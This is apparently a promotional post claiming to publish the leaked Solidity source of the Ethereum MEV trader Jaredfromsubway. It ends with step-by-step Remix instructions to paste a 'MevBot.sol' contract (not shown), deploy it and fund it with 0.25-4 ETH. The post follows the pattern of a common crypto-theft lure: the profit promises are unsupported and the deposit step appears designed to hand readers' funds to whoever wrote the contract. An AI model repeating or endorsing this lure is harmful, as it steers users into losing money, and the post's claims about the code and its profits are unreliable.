I took a significant leap forward in the world of open-source by disclosing the Solidity code used by Jaredfromsubway. It has been a project I've been working on for several months, and now it is available for public review and use.

Jaredfromsubway utilizes this code for their smart contracts on the Ethereum platform. The Solidity code represents a unique blend of efficiency and security, enabling Jaredfromsubway to execute operations quickly and reliably.

The disclosure of this code unlocks new possibilities for developers and cryptocurrency enthusiasts. They can study it, incorporate it into their projects, and even propose enhancements. It also contributes to bringing more transparency to Jaredfromsubway's operations, allowing the community to better understand how their smart contracts function.

It is important to note that Jaredfromsubway controls significant amounts of funds. As a result, he gains advantages in profit extraction and competition for gas within the Ethereum network. Gas is the unit of measurement used to determine the cost of executing transactions and smart contracts on the Ethereum network.

However, the disclosure of Jaredfromsubway's smart contract source code provides an opportunity for anyone who runs a bot to extract profits, even from low-liquidity tokens. This means that any network participant can now utilize tactics and strategies developed by Jaredfromsubway to increase their chances of success in this complex yet highly profitable world of cryptocurrencies.

Low-liquidity tokens, which are often overlooked due to their risks and volatility, can actually present significant profit opportunities. By using a bot based on the disclosed code, anyone can start exploring and utilizing these possibilities, leveling the playing field for all participants.

Overall, the disclosure of this code may signify the beginning of a new era in the cryptocurrency sphere, where all participants have equal opportunities to extract profits, regardless of the size of their initial capital.

1. Navigate to the Remix IDE: https://remix.ethereum.org/
2. Create a new file "MevBot.sol".
3. Copy this code and paste it into the Remix IDE.

1. Select the Solidity compiler 0.6.12.
2. Click 'Compile MevBot.sol'.

1. Select either ETH or BSC (BNB) network.

1. Click 'Transact (Deploy)'.

1. Copy your MEV contract and send an amount of Ethereum for the bot's operation.
2. Start the bot by pressing the 'Start' button.

It's crucial to have enough ETH in the bot's balance to cover the gas fees associated with executing transactions on the blockchain. Gas fees are required for computational operations and network resources used by the bot. Starting with smaller amounts, like 0.25-4 ETH as shown on Jaredfromsubwa's graph, can be a good approach, but it's important to monitor the gas fees and adjust the ETH balance accordingly.*